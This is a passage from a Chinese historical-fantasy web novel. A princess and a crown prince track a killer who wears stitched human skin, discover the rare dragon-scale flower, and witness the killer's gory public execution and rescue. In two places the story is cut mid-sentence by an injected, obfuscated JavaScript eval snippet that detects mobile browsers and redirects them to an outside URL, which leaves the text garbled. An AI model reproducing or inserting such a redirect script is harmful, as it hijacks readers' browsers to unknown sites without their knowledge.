他对面的武者明显是一闲散习武的愣头青,会些花拳绣腿就想上来表现一番,搏一搏擂台下妙龄女子的喝彩。龙形装备较为齐全,仿佛花了大价钱去衣店定做了画本里“龙王”的衣饰,荧光闪烁,光彩夺目。 愣头青的武器是一柄传家宝的铁剑,上面刻着奇怪的纹路,有着古朴久远的气息。 警世司操办这次比武,记录比赛的人是花辞树手下的捕快,捕快擎一个红色旗子向屠夫和愣头青中间一挥,道,“开打!” 屠夫一见来人是瘦瘦巴巴的小猕猴,心念不出三招就能把其踹下台,脚下一横,朝手掌啐两口唾液,捶胸道,“来!” 愣头青实战经历屈指可数,一见屠夫膀大腰圆,忍不住畏葸,双股晃荡,原地不动。他低头看看台下眨着星星眼期待的俊俏姑娘,咬牙“啊啊”一声,硬着头皮冲过去。 “嘭!” 还没跑近,面门就挨了一重拳。 屠夫连三分力气都没使,打出一记左勾拳,直截了当将愣头青“啪嗒”敲回地面,晕头转向找不着北。 “哈哈哈哈哈哈,这么菜还跑上去当‘龙’,我看是一只毛毛虫吧!” “哎呦,笑死我了,门牙都给我笑掉了!这人一招都没抵住,怎么好意思去斗武的,啧啧啧。” “今日第一笑,哈哈哈哈!咱们来打赌看看,今儿比武大赛最终谁能稳占第一?来来来,我押李屠夫!” “我也押,我也押!他块头最大,体型最猛,准错不了!” 台下嘈嘈杂杂响起幸灾乐祸的讥笑,砭骨烧脸,羞得愣头青蒙着脑壳“呜呜呜”踩着小碎步跑了,哭声飘逸在空气里,好不可怜。 那身华丽的“龙王”服被屠夫毫不客气地拽下来,随后一脚把愣头青踢出擂台,自己穿上龙王服,伸臂催促其他武者上来比武。 挤在人群里的落花啼与花辞树左顾右盼,悄悄观察百姓中有无混入生肖杀手的形踪,望了一圈,未见蛛丝马迹,只得暂时按捺。 屠夫在台上自正午打到傍晚,上去比武的人没几个是他的对手,因是匆匆组织的比武,来的人大都只是花落知多少中会点武功的人,没有江湖上的厉害角色。 又一个男子被揍得鼻青脸肿,哭哭啼啼摔出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810649|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 落花啼眼见天色渐晚,耗下去不是办法,赶忙抓着绝艳跳上擂台,疾呼道,“我才是真龙!你们全部是一群水底鱼虾,冒牌货,冒牌货!” 她指着下面的众多武者,发出羞-辱的狂笑,“世界上除了我,谁都不是真正的龙,不信的话,上来比试比试?能打赢我,你就是唯一的龙。” 屠夫觑了觑对面画了一脸龙鳞,头长犄角,肩置龙袍的女子,一时没认出是谁,但见其身形相对矮小,腿脚纤细,鄙夷的表情不遮不掩,“就凭你?我一脚能把你踢天上去,我才是今天的龙——” 一语未毕,天幕刮起一道黑糊糊的飓风,讯似电,快如箭。乾坤倒转,一瞬的空隙,虎背熊腰的屠夫来不及反应,腹部中了一刀,“砰”的砸下台,血水乱飞,纷纷扬扬。 百姓们扯着喉咙尖叫,闹成一锅粥,七嘴八舌,沸反盈天。 落花啼定睛一看,一抹熟悉的身形穿着黑色斗篷,手持染血的长刀,瞪着猩红的眸仁射向这边,杀气萦空。 他一甩黑斗篷,斗篷底下漾出了灰黄色密密匝匝的人皮龙鳞衣,他面目上亦是恶心的人皮伪装的龙鳞,看者毛骨悚然。 与上一次不同的是,他这次把人皮龙鳞缝在了血肉里,以至于那些人皮上多少洇了暗黑的血液,更显恐怖。 好家伙,终于把你等来了。 落花啼抽出绝艳,指着那龙鳞人的眉心,她故意摸摸脸庞上的细密龙鳞,戏谑道,“你是什么丑陋东西,也配跟我抢龙的身份?今天姑奶奶打得你变成蚯蚓!” 龙鳞人扭扭颈部,发出骨头咔嚓声,他眼鼓如牛,浑身颤抖,一股火气从脚底冒到头顶。 精神恍惚,眼光癫狂,喉头蹿着尖锐的嚎啕,像哭,像笑,“不,不,我才是龙!我是真龙天子,我是太子殿下,我会变成龙的,我会变成龙,等我变成了龙,就是我统治天下的时候!哈哈哈哈哈,届时你们都得死,都得死!我爹说了,我是龙,我是一条龙,我是太子殿下,我爹说了,他会让我当太子殿下的,他说过的,他说过我是龙的!” “你们这些畜生,这些禽兽,这些低贱的蝼蚁,都不配和我比!没有什么动物比龙更高贵,你们明白吗?嗯?只要我成为龙,整个天下都是我……” 落花啼不忍细闻,皱皱眉头,绝艳横劈而去,盛怒道,“疯子!世界上没有真龙,你不是龙,你只是一个蠢钝如猪的大疯子,受死吧!” 嘴里能滔滔不绝这么多愚蠢的傻话,口口声声称自己是龙,他不是心智异常,头脑简单,还能有什么解释? 龙鳞人的呆滞眼神一看就非是正常人,多说无意,不如速速擒拿捉捕。 剑风滚滚,猛然插-入龙鳞人的臂膀,他感觉不到疼痛般,咆哮两下,震开落花啼的绝艳,伤口处飙出淅淅沥沥的血雨,洒了落花啼半张脸。 他手腕旋转,长刀冲着落花啼的脑袋袭去,势头狠毒,落花啼心脏“咯噔”一声,废了九牛二虎之力屈腰撤身避过。 奈何长刀挥舞,削铁似泥般砍断了她额头粘着的一根金黄龙角。 龙鳞人一举打烂落花啼的龙角,瞪着地上碎成渣滓的土块,愣了须臾,得知那是假的后,怒不可遏。 发疯发狂,俨然一头红了眼眶的野兽,“你骗我!你明明不是龙,为什么要骗我!我最讨厌有人骗我,为什么,为什么要骗我?爹!爹,你在哪?你在哪儿?有人欺负我,呜呜呜呜呜……” “爹,我要杀了她,这女人必须死!” 长刀搅起浑浊的巨风,龙鳞人脚踢擂台边的木桩,弹身跳跃,双手握刀,居高临下要像切西瓜一样切开落花啼的头颅。 14. 月色如银碎 第十四章月色如银碎 (蔻燎) “公主当心!” 眼前闯入鲜血般的红袍,落花啼惊慌失措的时刻,被跨上擂台的花辞树一把推开,滚到了最边缘。 她赶忙捡起脱手的绝艳,心跳慢了半拍,脸孔的血色褪得干干净净,“小花,他是疯子,你千万小心点!” 花辞树来不及回应,挡住龙鳞人的招式,胳膊被恐怖的力道撞得麻痹。他取出腰上的匕首心惩,矮身躲过一击,乘机捅了龙鳞人胸口一刀,自己也被对方发狠砍中了后背。 两人血淋漓地厮打,触目惊心。 落花啼走到龙鳞人身后,意图一剑贯心,怎料龙鳞人感应到危机,脖子一扭,长刀反过来招呼落花啼,嘴里念叨,“你必须死,我要杀了你!” 红白色的长刀迎面砸来,落花啼举着绝艳格挡,整个人被推得好险跌出擂台,她抽空道,“小花,你没事吧?” 花辞树后背的刀伤蜿蜒到腰部,黑红的血顺着红袍和裤管流下,在脚底积了薄薄一汪水潭。 他唇瓣惨白,摇摇头,“我无事,公主你……” 他想来救落花啼,走了几步,眼前黢黑,腿一软倒了下去。 “小花!” 落花啼的力气不足以抵挡龙鳞人,她的绝艳细韧如蛇,也不是坚硬大刀的对手,僵持不下,命悬一线。 在她决意收了手劲,拼命往擂台底下滚去的时候,下一秒,一根宛如流星坠落的箭矢脱离弓弦,“嗖”地势如破竹射-进了龙鳞人的左腰。 整根箭没入进去,仅留一截五彩斑斓的鹰羽。 落花啼随势看去,酒楼上的入鞘自二楼跳到地面,将弓拉扯成满月状,“嗖嗖嗖”地连飞三发,无一不命中目标。 瞬息之间,龙鳞人身中四箭,痛不可言,手中的长刀斜垮下来,腮帮子战栗,额头泛出冷汗。 入鞘正待拉弓搭箭再来几次,那龙鳞人不堪重负,斗篷一扫,踏檐飞壁,慌不择路跑了。 落花啼命令警世司的人把花辞树背走医治,自己马不停蹄攀上房檐,步步紧逼龙鳞人的逃跑路线。 血滴一点点远去,龙鳞人受伤后影响了他的速度,跑一会歇一会,力有不逮,极大可能会倒下,决对不能放过这个好机会。 耳朵里掠起瓦砾碎裂声,落花啼警惕回眸,竟见曲探幽与入鞘尾随而来。 曲探幽抓住落花啼的衣领,将人勒至胸膛深处,控制着后者不得不停下步伐,他道,“别追了。” “曲探幽,凭什么别追了?我好不容易把这疯子引出来,他要是又跑了该当如何?你能给我逮住他吗?” 愤恨地肘开曲探幽,跳开一丈,落花啼抖抖衣袖,仿佛碰了毒虫鼠蚁,唯恐避之不及。 曲探幽凝眉,“孤在城内布下了士兵,龙鳞人一旦逃窜,他们会匿迹追踪,你不必追了。” 落花啼如今信也不是,不信也不是,内心挂念着帮她挡刀的花辞树,脱口而出,“小花呢?警世司的人带他去看医没?他的血止住了没?他一定很疼的,是我对不住他。” “小花……” 曲探幽讽刺道,“春还公主,你如此亲昵地叫一位有过几面之缘的男人,你觉得妥当吗?” “与你无关,本公主同谁亲近,你管不着。” 多看曲探幽一眼,落花啼就回忆起夜晚的噩梦,梦里的曲探幽让她窒息,她现在也呼吸困难。 旋身携剑,继续按着血迹苦苦追寻消失不见的龙鳞人。 寒星刺破天幕,月亮藏身在浓云,山间的野风吹得人脸蛋凉嗖嗖的。 找了半夜,在曲朝士兵的带领下,落花啼,曲探幽,入鞘来到了一座偏僻的巍峨山峰之前。 滞住脚步,入鞘拨开生长得乱糟糟的芦苇草,曲兵点燃火把照明一瞧,一块歪倒欹斜的斑驳石碑上凿刻着“蛇盘峰”三字。 龙鳞人的藏身之地,不是荒岭,不是哀悼山,而是闻所未闻的蛇盘峰。 入鞘道,“太子殿下,龙鳞人躲在了此山中。” “包围蛇盘峰,天亮之前给孤找到他。”曲探幽面色不虞,扬手一摆。 落花啼蹲在蛇盘峰的石碑前,柳眉深蹙,苦苦思忖,突觉手腕骤疼,不由叫了一声。 曲探幽倾身,箍住她的手将人提起来,语调不善,“孤给你最后一次机会,今夜一过,再找不到所谓的龙鳞人,你只能跟着孤寻找龙鳞花,否则,落花国王大抵会出面助孤好好地约束你。” “别拉出本公主的父王,你越是这样本公主越是不想帮你!”挣了挣手,落花啼咬着嘴唇,憎恶的神态暴露无遗,“人命关天,本公主不曾做错。你自诩太子殿下,未来帝王,视人命为草芥,说得过去吗?” “落花啼,你能不能讲理?孤已经忍了你数回了。这些天陪着你闹,也闹够了吧?” “忍了数回,也不差这一回,你且忍着吧。” 若是寻常人被落花啼尖牙利嘴地攻击,早就气死九九八十一次,偏偏曲探幽此人能忍常人所不忍,眨眼间便抛之脑后。 曲朝太子和落花公主逢面就吵,不是吵就是暗戳戳地骂,入鞘与曲兵们见怪不怪,悉数装模作样表现得像没听见。 曲兵勤勤恳恳找了两个时辰,风驰电掣跑到曲探幽脚边,一骨碌丝滑地跪地,抱拳道,“太子殿下!找着了!” 曲兵在前开道,落花啼,曲探幽等人走着弯弯绕绕的山路,淌过河流,自一掩蔽的斧头砸出的土梯而下,一下去,便被一方天然洞府围裹。 蛇盘峰的“七寸”之地有着大自然神工鬼斧的绝世暗洞,洞中空间不亚于一间庙宇,奇妙已极。 龙鳞人蜷缩在山洞中心,失血过多闭目昏死,奄奄一息,几名曲兵密不透风守着他,看见曲探幽来了,齐声道,“太子殿下。” “死了吗?” 落花啼抢先道,“如果没死,把他弄醒。” 曲兵道,“春还公主,这疯子不知真傻还是假傻,他躲起来自己拔了一支箭,身上有手指粗的窟窿眼儿,血流如注,现在一个劲发抖,怕是活不长了,不知能不能醒过来。” 绝艳的剑尖擦着崎岖的地面划过,落花啼嗤之以鼻,似信半疑,星眸漆黑,径直走至地上缩成襁褓婴儿状的龙鳞人,绝艳在其头上狠敲两下,“你抓走的钱钵溢在哪?给本公主放出来。” 龙鳞人仿佛冷得紧,粗壮的胳膊环抱自己上半身,哆嗦得跟被雷劈了无异,他迷糊时听见落花啼的嗓音,受到了刺激,撑着眼皮子往上一翻,“你,是你。” “是本公主。怎么?一会不见你就不认识本公主了?问你,钱钵溢在何处?你是不是已然杀了他?” “哈哈哈哈,什么钱不钱,我不知道,你们无缘无故伤害我,迟早五雷轰顶!我告诉你们,我爹会救我的,他肯定会来救我,他不会丢下我一个人的,爹!” 好奇龙鳞人嘴里惦记的爹是何许人也,落花啼两手抱臂,“你爹是谁?他若真在乎你,为何不敢露面?我看他就是个缩头乌龟。” “不准骂我爹!” 龙鳞人眼眶里的眼白拽出诡异的红丝,几近将白色笼罩成猩血。他呼哧喘着恶气,纤细卷翘的睫毛随着眼睑一颤,亮晶晶的水珠就滑了下来,一颗连一颗。 只看他朦胧的泪眼,没人会联想到他是杀人如麻的魔鬼。 他怒目圆睁,泪水流过脸颊,流过下巴,流进了脖子,他的每一寸皮肤都缝上了不属于他的死人皮,导致他哭得滑稽又丑陋。 “我爹是最好的人,可惜我没听他的话,他告诉我不要乱跑,不要乱跑,外面的人很危险。我后悔了,你们真 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走近细看,的确不是人尸,而是被活生生剥下外皮,掏干腹腔的各种动物尸体。 鼠、牛、虎、兔、蛇、马、羊、猴……猴! 前几个动物都死得较早,血水干涸,唯有猴尸是近日刚杀的,血液还没完全凝固,滴滴答答下着小雨。 令落花啼,曲探幽震惊的是,这些动物的脸皮和尾巴皆不翼而飞,血糊一片,正是与义庄里的尸体惨状逐一对应上。 曲探幽满脸厌恶,“猴尸已挂起来,那被捉的人或许也不在了。” “不,他还在。” 落花啼强装镇定,拿剑拨走猴尸,将后面被绳子裹成首尾相连的球状的不明物体送入在场之人的眼眸,心惊肉跳,“来人!取他下来,看看他还有气没。” 曲兵们看了看曲探幽的表情,见其不制止,一群人斩断倒吊的绳索,托着球体放回地面,把其浑身的绳索解开。 造化弄人啊。 花落知多少的富贾之子钱钵溢就在山洞中,可惜他的脸庞已经被龙鳞人就着针线一下一下缝上了毛茸茸的猴皮,变成了似人非人的怪物。 落花啼蹲身去探钱钵溢的鼻息,几不可察的微弱热气时有时无,他的胸口也起伏得肉眼难以看清,“还有一口气,你们有水吗?喂他喝一口,务必把他背回花落知多少救治,不能放弃他。” 曲兵外出征战养成了随身携带水囊的好习惯,恻隐之心一起,倒了半盖水扶着钱钵溢喝下。 虚弱的钱钵溢周身青紫,被龙鳞人脱掉了锦衣玉服,光溜溜地当人体沙包殴了不知多少顿,口角喷血,鼻青脸肿,好几个地方都碎了骨头。 全-裸姿态,私-密位置不可避免地叫士兵们看个精光,几人聚成一堆嘻嘻哈哈,哄堂大笑。 钱钵溢此时哪里顾得有人笑话,慢慢喝了水,回了些神智,瞥见落花啼的身形,嘴角一裂,“好美的神仙啊,我一定死了,都上天堂了……”还没念完,就“哐”地倒在一曲兵的怀里,那曲兵俯视一张棕黄色猴子脸,吓得吱哇乱叫,一肘子锤开钱钵溢,躲得远远的。 钱钵溢骨碌碌一滚,趴在石头边禁声了。还好他自幼大鱼大肉,长得高高壮壮,身体相对扛揍,没被龙鳞人玩-死,算是大难不死,必有后福。 先带他回去想想法子拆了猴皮,说不定能捡一条小命。 “为什么要到别人的地盘来撒野?” 一群人围拢钱钵溢之时,卧在地上恢复体力的龙鳞人擎着长刀摇摇晃晃站直,穷凶极恶地乜斜着落花啼和曲探幽。 他的年龄不大,估摸十六上下,声质有少年的清透,却不料他干的事人神共愤,饶恕不得。 15. 似花还非花 第十五章似花还非花 (蔻燎) 落花啼一扭头,看见要死不活的龙鳞人静悄悄地重新起身,她噎了一噎,按住绝艳的剑刃,“你怎么还不死?” 正欲动手,疯癫的龙鳞人眼冒金光,神神叨叨地注视着曲探幽腰上的两枚龙形玉佩,喜极而泣,又哭又笑,“龙,龙!这才是真正的龙啊,我爹说,他以后也会给我这样的龙,我想要……你给我!给我!” 语毕,疯狗一般跳起来蹿向曲探幽,半人高的长刀割破气流,强砍而至,无处逃脱。 入鞘的小心脏提到嗓子眼了,手忙脚乱地取根箭搭在弓上,劲力拉拽,“太子殿下小心!” 曲探幽自幼习武,在沙场上身经百战,泰山崩于前也面不改色,不慌不忙拔出他的一柄重剑,挥剑去挡。 紧急关头,落花啼趁乱摘下曲探幽的龙形玉佩,搁在手里掂一掂,嗤道,“龙在这里!想要吗?来拿!” 龙鳞人满脑子都是龙形玉佩,轻而易举被落花啼给吸引了,一刀推去,丢下曲探幽去追落花啼,“把龙给我,你个骗子,假装是龙的骗子!” “骗子?骗子也比你这疯子好,想要这破烂玉佩,本公主给你,捡去吧!” 落花啼翻个白眼,举手把龙形玉佩朝着山洞深处的转角一抛,一声脆响,玉佩跌入了乌黑的暗影。 龙鳞人欣喜若狂,手舞足蹈地去捡玉佩。 曲探幽勃然大怒,旋身掐住落花啼的喉头,狠狠道,“你找死?” 入鞘手中的一箭“唰”地钉在山洞石壁上,扫见曲探幽安全无虞,稍松一口气。又看那玉佩消失无痕,气得眼睛不是眼睛,鼻子不是鼻子,道,“春还公主,你怎能随意丢弃太子殿下的东西,何其过分。” 过分的还在后面呢。 落花啼不理入鞘,低眸睥睨卡在脖颈上的曲探幽的大手,睫羽一眨,一脸无辜道,“怎么了?太子殿下,本公主可是救了你一命,你何以这般盛怒?不就是两枚玉佩吗?你瞧瞧你,大动干戈,堂堂曲朝太子,还缺这几个玉佩,说出去惹人笑话……” 松手,曲探幽将重剑收鞘,打量落花啼几秒,磨牙凿齿,剧烈伏动的胸膛显示着他按不下的滔天怒火。 他道,“找玉佩,抓龙鳞人,快!” 曲兵们鱼贯而入,拎剑夹棍,挤进了山洞最里面,浩浩汤汤把出口堵死。 落花啼拍拍手掌,斜睨曲探幽那黑墨染就的俊脸,爽得差点惊呼,她咳嗽一声,整理面容表情,大摇大摆准备去看一看曲兵抓捕的情况。 前世曲探幽就把那两块一模一样的龙形玉佩护若至宝,就差供起来了,旁人只能看,不能碰,碰了的下场非死即伤。 当初落花啼就故意把玉佩抢来狠狠掷在地上,摔得玉佩碎出了漂亮的冰裂纹,那时曲探幽就像今日一样,下了毒手要掐死她,不过最后还是莫名其妙地克制住了杀欲。 落花啼最后的惩罚是,关在暗无天日的封闭黑屋里三天三夜,只有水喝,不给饭吃。 想起前世遭受的恶劣待遇,落花啼极度后悔刚刚没将龙形玉佩在山洞中砸成稀巴烂,以解心头之恨。 落曲二人在洞里互相置气,躺地上苟延残喘的钱钵溢时不时呜咽,让凝固的气氛陷入了愈发怪异的漩涡。 不多时,入鞘慌慌张张疾步跑出,惊喜掺半,“太子殿下,龙鳞人逮住了,还有,还有——” “还有什么?” “太子殿下,功夫不负有心人,您去看看便能明白了!” 入鞘屁颠屁颠领着曲探幽往深处走,笑得脸蛋皱成一朵雏菊。 落花啼冷笑,紧随其后。 三人将一走至深洞内部,曲兵们规规矩矩走了出来,让出相对宽阔的道路。 狭窄的山洞内部愈走愈远,愈走愈寂静,仿佛直达死亡之域,后退无能。 蓝烟色冰雾,散发着萤火虫尾端那奇妙的微光,沙尘般无风自摇,星星之火,映照得山洞秘密地亮如白昼。 一株裹满寒冰的植物,破岩向上,顶开嶙峋的石缝,扎下了仿佛蛛网的根茎,耀武扬威地生长在此地,如火如荼,枝干茁壮得有小孩手臂粗细,高达成人的肩膀。 蛇盘峰之外的气候正是春日,而这植物自根部到枝枝蔓蔓,到它唯一的含苞待放巴掌大的花骨朵,都缀满了自带的冰碴,周围的空气也跟着冷了十几度。 那么一刻,落花啼和曲探幽的脑海里不约而同跳出三个字——龙鳞花。 扑朔迷离,神乎其神的一朵破花居然不是以讹传讹的,居然真真正正存在于世间! 通体晶莹剔透,冰痕璀璨,叶面与枝桠都长着复杂的暗纹,那朵一枝独秀的花苞的纹路活脱脱就是龙鳞的模样。 假不了。 落花啼瞠目结舌,觑觑曲探幽,后者亦舌挢不下,激动亢奋得一洗方才的愤怒,眼孔的汹涌欲-望毫不掩盖。 目下,龙鳞人抱着捡起的龙形玉佩如同婴儿侧躺在龙鳞花之下,被冰蓝色的叶掌遮去了面容。 他躺的一块地黑红黏腻,身体下汩汩潺潺着热乎乎的鲜血,看样子已是挨不住箭伤,躲到龙鳞花的山洞中就禁不住不停失血而昏死了。 入鞘极速抢过龙鳞人手里的玉佩,拿绢帕擦拭干净,双手高高捧给曲探幽,曲探幽抬手一接,熟稔地系在腰部,目不转睛盯着龙鳞花,嘴角的弧度上翘几分。 他冷静地吩咐道,“入鞘,命人把龙鳞人送回花落知多少,交给警世司处理,其他人封锁山洞,一只苍蝇也不准放进来。” 入鞘点首应下,指挥两人拖着龙鳞人出去,顺便将奄奄一息的钱钵溢背走。 蛇盘峰山洞顶部倒吊的动物尸体一并斩断绳索取下来,弄到远处一把火烧得灰飞烟灭,一干二净。 落花啼见龙鳞人被押走,心情转好,绕着龙鳞花踱了一圈,啧啧称奇,一对水眸盈了幽幽森森的冰蓝,“原来传言非虚啊,龙鳞花果然存在世间。它上面这么多冰碴,不会冻死自己么?” 一根食指在曲探幽眼皮子底下想去戳戳龙鳞花的花苞。 怎料伸了一半,手背就“啪”地被一刮子抽上,疼得颤栗,白皙的手瞬间隆起了亮汪汪的大包。 “曲探幽,你有病吧!” 落花啼怒极,头颅有火焰吱吱往上冒,铆足气力甩起一脚去踹对方的腹部,脚踝却让曲探幽一手攥紧。他喉结一鼓,冷冷道,“别碰它。” “李怀桃道长曾言,龙鳞花百年一遇,未开花之前是无法轻易触碰的,一碰就若冰块碎裂,溃烂融化。因此,必须等它开了花,方可移栽带走。” 扔掉落花啼的脚踝,曲探幽信步靠来,上半身倾斜,俯视落花啼的姣好容颜,皮笑肉不笑道,“落花啼,孤来落花国就是为了龙鳞花,倘若龙鳞花出了任何差池,你与落花王上和王后,难辞其咎。” “明白吗?” 近距离地逆视,温热的呼吸互相喷薄,两人的鼻尖近得仅差一厘,似乎多一人在后方按头,他们便会搅在一起唇齿缠绵。 落花啼诚恳地明白她对曲探幽还有前世的那种恐惧,稍与其近在咫尺地四目碰撞,她就芒刺在背,站立不安。 五指扭死,化为一拳聚了全身力量敲在曲探幽右颊上,打得对方脸上也胀起发烫的红淤,“龙鳞花在落花国发现的,你说拿走就拿走?你强盗土匪啊。” “难道你们落花国不愿意给吗?” 漫不经心地揉揉腮帮子,曲探幽眸亮似火,神情不怒不怨,反而更兴奋了,他道,“龙鳞花给孤,曲朝会嘉赏落花国万两黄金,一两不缺,这是互利互惠的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花辞树包扎好伤口,身形颀长,一袭倜傥的红袍在人堆里扎眼得很,他遥远瞅见落花啼归来,疾行奔至,粲然道,“公主殿下,你可有受伤?多亏了公主殿下智勇双全,否则生肖杀手难以捉拿归案。”他趁势拉过落花啼的一只手腕,牵着人原地旋转一遍。 见其没有血淋淋的伤口,安心不少。 半夜三更,他就接到曲兵的消息,龙鳞人已捕,他鲤鱼打挺跳起来叫上属下直接把龙鳞人捆得动弹不得,备好了行刑的器具。 还贴心地让人将义庄里的七具尸体还给百姓,自掏腰包帮那些尸体入土为安。 落花啼在盘蛇峰耽搁一夜,心心念念着花辞树的伤势,现下看到对方活蹦乱跳,捻眉笑道,“小花,你平安无虞便好,本公主就放心了。昨儿也是运气好,才能顺利抓住龙鳞人。” 花辞树点点头,他蓦地注意到落花啼手背上的肿胀,心筋一抽,指腹轻轻摩挲,“这是怎么了?被何人打的?” 不自然地缩回手,落花啼脑仁一阵嗡嗡响,好险跌进美男的诱-惑中,咳嗽一声,生硬道,“嗯,在石壁上不小心擦了下。” “公主千金之躯,岂可损伤。公主不介意的话,我来给公主敷药?警世司的药物一贯多如牛毛,齐全得很。” 落花啼道,“也行,有劳小花了。” 站在落花啼背后的曲探幽,旁观完这一幕,五官僵硬得像木刻,眼神既空又冷。 花辞树笑靥如花,好像才瞥视见曲探幽的身影,丹唇一掀,“太子殿下,我先去为公主涂药,先行一步,告辞。” “……” 那语调,那眼波,那笑容,说是公狐狸成精了也不为过。 16. 花开自有时 第十六章花开自有时 (蔻燎) 未时至,凌迟起。 落花啼和花辞树在落英缤纷给手背搽完药,急急忙忙去看凌迟的时候,花落知多少的菜市场中心已经挤满了攒动的人头,无处下脚。 警世司安排的刽子手撑着一弯曲的薄刀,对着木桩上死寂的龙鳞人剐肉。 刀一进,腕一翻,一沓血糊拉滋的灰黄肉片如刀削面似的掉了下来。 龙鳞人躯干和四肢全部缝了死人的皮屑,被刽子手从肚子开始剐,直剐到手臂大腿,面积大的人皮很快就割了下来,一点一点扔在地上,半刻不到就堆了矮矮的小山。 那些死者的亲人也分不清哪一块是自家人的肉,只得拼了命地哄抢,方便届时尸体下葬能多些完整的地方。 遍体鳞伤,遍体腥血。 木桩上的龙鳞人自未时至申时,被硬生生剥得像从血海里捞出,湿淋淋,红通通,与怪物鬼魅无异。 刽子手去卸他脸上的皮屑之时,久坐在远处的落花啼心腑撕裂般刺痛,目眦欲裂,十指扣死,指尖戳入自己柔软的掌心,压出深印。 她在龙鳞人皮屑之下的原脸上看见了她此生难忘的东西。 毒疮。 黑紫色凹凸不平,坑坑洼洼的毒疮。 为何龙鳞人的脸上会长着和花-径深一模一样的毒疮? 落花啼不知所措,目光游弋在龙鳞人的四肢上,果然都生了大小不同的斑驳毒疮,只不过被刽子手割掉皮屑的时候血水染脏了皮肤颜色,障眼法般叫人忽略了。 拍案而起,落花啼拔高了喉音,“住手!” 谁知在她喊出住手的当儿,一道陌生的男音叠着她的嗓子一起叫道,“住手!” 间不容发,宛如蝗虫密雨,数百根银针避无可避地刺入刽子手的身体,刽子手不及惨叫,轰隆一声,倒地不起,保持着举刀的姿势,硬得像一块铁板。 三名乌鸦似的黑衣人蒙面奔蹿而来,不知从哪座高楼跳下,三下五除二砍掉龙鳞人身上的绳子,抱着人就点地踏檐,“跃鲤,忍一忍,忍一忍!” “……唔……” 失血过多的跃鲤遭受了非人的凌迟竟还有一口气,听见熟悉的声音,下意识回应道,“爹……我,我才是龙,对不对?为什么他们要害我?” 抱着跃鲤的黑衣人不置一词,领着另外二人欲逃,远处不合时宜地又来了一波人,正面堵死了去路。 后面来的两人,皆是一袭黑白两色的斗篷,脸扣黑白阴阳八卦的面具。他们抽刀截住三位黑衣人,一群人乒乒乓乓在房顶上打得热火朝天,刀剑铿锵,不分上下。 双方打斗,纷纷往死里揍,衣袍浮卷,血泼眼眸,惊心动魄。 为首的黑衣人抬臂一挡黑白斗篷人的刀,眼神一使,其他两个黑衣人甩手一扔,银光飒飒的针雨密密扫来,气势如虹。 黑白斗篷人一同舞着斗篷击落毒针,再一探去,黑衣人们已掳着跃鲤逃之夭夭,不着痕迹。 他们也不敢逗留,提步运功,身轻如燕地翻身下楼。 此时入鞘忙不迭率领一群曲兵和警世司的人,兵分两路进行包抄,快步追去。 行刑的场面一度乱得人仰马翻,一塌糊涂,老百姓惊叫连连,慌忙四散。 何时见过此等精彩的搏斗,落花啼张口结舌,狐疑道,“跃鲤,那龙鳞人有名字,他还真有爹,那为什么他的爹一开始不在身边呢……随他去吧,凌迟成那样大抵也活不了。” 可是,跃鲤的毒疮怎么跟花-径深长得相同,他和花-径深到底有什么关系。 花-径深,你目下在何处?你的毒疮好些了吗? 你多久才能回来…… 纳闷间,突听耳旁座椅一响,曲探幽倏忽起身,蹙眉颦额,变脸失色,“锁阳人?” “太子殿下说的是枫林国余孽里的锁阳人?” 胳膊抱胸的花辞树偏一偏头,徐徐道,“在下曾听江湖传闻,枫林国覆灭之后,王室余孽藏匿在天下各地,他们建立门派‘龙门阁’,养精蓄锐,妄图再起东山。他们之内,会有一些男童从小习武,到一定年龄便被阉-割了阳-具,如此武力高涨,身形轻快,长大后就称为“锁阳人”。他们是曲朝忌惮的心腹之患,也是江湖上鼎鼎有名的杀手组织,喜欢穿黑白八卦斗篷,神龙见尾不见首。可惜——时至今日,仍旧无人找到枫林国锁阳人的聚集之地。可谓是敌在暗,吾在明。太子殿下,在下说得对吗?” “你懂得倒是挺多。”曲探幽目若点漆,黝黑无光。 花辞树笑了笑,谦虚道,“太子殿下,我也是略有耳闻罢了。” 曲探幽冷笑,头也不回地招上曲兵大步流星地离开。 比起锁阳人,曲探幽更诧异的是那黑衣人手臂上不小心亮出的阴月纹身,能纹阴月的门派只有一个,那便是盘踞在黑羲国国内的魔教,狡兔窟。 狡兔窟怎么跑来落花国了?跃鲤居然是狡兔窟中人? 向死哀呼心池衰,冰雪裹尘不待柴。金石烧炼真君骨,百般折拦登帝骸。蔽幽窥蓝见王像,何睹暝夜烧灵台。迷离赤霞罩地乾,天下惊雷龙蛇灾。休说帝王堪携花,不如枫林曳叶怀。 新的千古一帝传言里提到了“暝夜”,“枫林”,说明黑羲国和枫林国,都有嫌疑。 看来,千古一帝有可能真是出自枫林国后裔,这些贼心不死的孽障如若不除,迟早会给曲朝惹出麻烦,带来重击。 得先想办法解决枫林国余孽,再顺道收拾黑羲国,如此一来,还怕他们翻天不成。 但,传言中也写了“烧炼”,“窥蓝”,难不成,金炼国,焰焚国,蓝穹国也在蠢蠢欲动? 曲探幽目视远方,促狭道,“千古一帝的传说,孤从来不信,因为无论有没有这些诗句,孤都会把周边国家一一歼灭,成为真正的绝世帝王。” 真正的千古一帝不是活在传言里,而是活在世人的眼睛里,他不会给旁人向上爬的一丝机会,也不会让曲朝有倒塌的那一日。 落花啼向楼下俯瞰,只见曲探幽上了一辆马车,急驰在街道尽头,心底嘀咕,“他又抽什么疯。” 一扭头,入鞘一行人气喘如牛地跑回来,昂头挺胸望着高楼,左顾右盼,道,“春还公主,太子殿下呢?那群人跑得太快了,根本追不上。” 